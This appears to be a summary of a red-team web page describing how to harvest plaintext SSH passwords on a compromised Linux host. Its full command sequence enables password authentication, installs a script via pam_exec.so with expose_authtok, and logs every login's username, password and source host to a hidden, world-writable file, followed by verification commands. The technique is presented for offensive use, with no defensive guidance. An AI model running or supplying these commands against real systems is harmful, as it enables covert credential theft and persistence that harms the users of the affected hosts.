Password Cracking: Stealing SSH Credentials with PAM

What it is

A PAM-based SSH credential harvesting technique for post-exploitation on a rooted Linux host, using pam_exec.so to log plaintext passwords from every login attempt.

How it works

The page gives the exact commands, not just the concept:

vim /etc/ssh/sshd_config
# set: PasswordAuthentication yes

cat > /usr/local/bin/logc.sh << 'EOF'
#!/bin/bash
read -r PASS
echo "$(date) User: ${PAM_USER} Password: ${PASS} From: ${PAM_RHOST}" >> /var/log/.authc.log
exit 0
EOF
chmod 755 /usr/local/bin/logc.sh
touch /var/log/.authc.log
chmod 777 /var/log/.authc.log

grep -q logc.sh /etc/pam.d/sshd || \
  sed -i '1i auth optional pam_exec.so expose_authtok /usr/local/bin/logc.sh' /etc/pam.d/sshd
systemctl restart ssh

The pam_exec.so line is inserted as the first auth directive, so the script runs before normal PAM processing on every attempt, success or failure. expose_authtok passes the submitted password to the script's stdin, which the script reads and appends to a hidden log file alongside username and source host (PAM_USER, PAM_RHOST).

sequenceDiagram
    participant U as SSH client
    participant D as sshd
    participant P as PAM (pam_exec.so)
    participant L as /var/log/.authc.log
    U->>D: login attempt (user+pass)
    D->>P: auth optional pam_exec.so (first in stack)
    P->>L: log date, user, password, source host
    P-->>D: continue normal PAM auth
    D-->>U: success or failure (unaffected)

Preconditions / Affected

Requires root access already obtained on the target Linux host. PasswordAuthentication must be enabled in sshd_config (the page notes it may be disabled by default, requiring this change first). The PAM file edited is distro-dependent: /etc/pam.d/sshd generally, or /etc/pam.d/common-auth (Debian/Ubuntu) / /etc/pam.d/password-auth (CentOS) for broader coverage.

What to do

Verify the patch took effect and test end-to-end before relying on it:

grep -E '^PasswordAuthentication' /etc/ssh/sshd_config
head -5 /etc/pam.d/sshd
systemctl is-active ssh
cat /var/log/.authc.log

Caveats

The page frames this purely as an offensive/red-team technique (tied to a "Red Team Operator" training pitch) and gives no detection or hardening guidance for defenders — e.g., no mention of monitoring /etc/pam.d/ integrity or flagging PasswordAuthentication yes changes. It also notes Linux password hashes, unlike Windows NTLM, can't be reused directly for lateral movement, which is the stated motivation for harvesting plaintext credentials this way instead.